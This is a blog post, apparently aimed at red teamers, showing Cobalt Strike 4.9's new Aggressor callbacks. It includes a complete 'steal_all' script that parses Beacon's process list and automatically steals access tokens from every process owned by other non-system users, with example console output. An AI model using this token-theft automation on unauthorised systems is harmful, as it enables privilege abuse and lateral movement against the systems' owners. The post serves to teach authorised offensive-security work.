Cobalt Strike Aggressor Callbacks

The Cobalt Strike 4.9 release introduced support for registering Aggressor callbacks for several functions including bexecute_assembly, bpowerpick, and binline_execute. Prior to this feature, there was no practical way of tasking Beacon and then performing further actions based on the output (other than reading it on the console and then manually issuing more commands). To demonstrate the usefulness of these new callbacks, let’s consider a scenario involving the token store. Until now, we have had to either issue a ps command to list the processes running on a system and then type or copy/paste the PID of each one into the token-store command.

beacon> ps

PID     PPID    Name     Arch  Session  User
---     ----    ----     ----  -------  ----
179184  179028  cmd.exe  x64   2        DESKTOP-1U6AHIU\test_user
128392  181212  cmd.exe  x64   2        DESKTOP-1U6AHIU\test_user2

beacon> token-store steal 179184,128392 11
[*] Stored Tokens

 ID   PID   User
 --   ---   ----
 0    179184 DESKTOP-1U6AHIU\test_user
 1    128392 DESKTOP-1U6AHIU\test_user2

Or use the process explorer GUI to go through and highlight each process individually.

By utilising the callbacks, we can execute the bps function in Aggressor, parse the output and automatically pass the target PIDs to btoken_store_steal. A callback can be provided directly in the bps function, so instead of bps($1), it can be bps($1, &ps_cb). The callback function will receive the ID of the Beacon and the result of bps. Here, I just perform some regex on the output to extract the process name, PID, arch, and username. Each PID that matches my criteria is added to a list.

sub ps_cb { 
    # $1 = beacon ID
    # $2 = results

    local('$current_user $stolen $targets');

    # get our current username
    # but strip off the * when elevated
    $current_user = replace(binfo($1, "user"), '(\s.*)', "");

    # a list to hold the names
    # of users already stolen from
    @stolen = @();

    # a list of PIDs to steal from
    @targets = @();

    # loop over every process
    # [name] [ppid] [pid] [arch] [user] [session]
    while ($2 hasmatch '(.*.exe)\t[0-9]*\t([0-9]*)\t(x64|x86)\t(.*)\t\d')
    {
        local('$process $pid $arch $user');

        $process = matched()[0];
        $pid = matched()[1];
        $arch = matched()[2];
        $user = matched()[3];

        # if the process belongs to a different user
        if ($user !ismatch ".*\\ $+ $current_user $+ ")
        {
            # ignore system accounts
            if ($user ismatch 'NT(\s)AUTHORITY.*') {
                continue;
            }

            # ignore if already stolen from this user
            if ($user in @stolen) {
                continue;
            }

            ## log to the console
            blog2($1, "Adding  $+ $process $+  ( $+ $pid $+ | $+ $arch $+ ) to list of tokens to steal from");

            # add to lists
            push(@stolen, $user);
            push(@targets, $pid);
        }
    }

    # attempt to steal tokens and add to store
    btoken_store_steal($1, @targets, 11);
}

The call to bps can be registered as a new Beacon command.

alias steal_all {
    bps($1, &ps_cb);
}

beacon_command_register(
   "steal_all", 
   "Steal access tokens from all processes", 
   "Synopsis: steal_all\n\nSteal access tokens from all processes not owned by the current user.\nExcludes processes owned by NT AUTHORITY\\*");

Example usage:

beacon> steal_all
[*] Adding cmd.exe (179184|x64) to list of tokens to steal from
[*] Adding cmd.exe (128392|x64) to list of tokens to steal from
[*] Tasked beacon to steal token from PID(s) 179184,128392 with OpenProcessToken access mask 11

[*] Stored Tokens

 ID   PID   User
 --   ---   ----
 0    179184 DESKTOP-1U6AHIU\test_user
 1    128392 DESKTOP-1U6AHIU\test_user2

This was a simple example of how these new callbacks can drive additional automation within Aggressor scripts. The Cobalt Strike team have also published several examples to GitHub, which you should check out for additional inspiration.

,

Related posts

ANYSIZE_ARRAY in C#

There are multiple structures in Windows that contain fixed sized arrays. The instance...

SafeHandle vs IntPtr

C# is a popular language in both the commercial space (think ASP.NET Core, MVC,...

C# Source Generators

Introduction

C# Source Generators made their first appearance around the release of .NET 5 and...

.NET Startup Hooks

tl;dr

Since .NET Core 3, the dotnet runtime has provided a low-level hook that allows...

Latest posts

ANYSIZE_ARRAY in C#

There are multiple structures in Windows that contain fixed sized arrays. The instance...

SafeHandle vs IntPtr

C# is a popular language in both the commercial space (think ASP.NET Core, MVC,...

C# Source Generators

Introduction

C# Source Generators made their first appearance around the release of .NET 5 and...

.NET Startup Hooks

tl;dr

Since .NET Core 3, the dotnet runtime has provided a low-level hook that allows...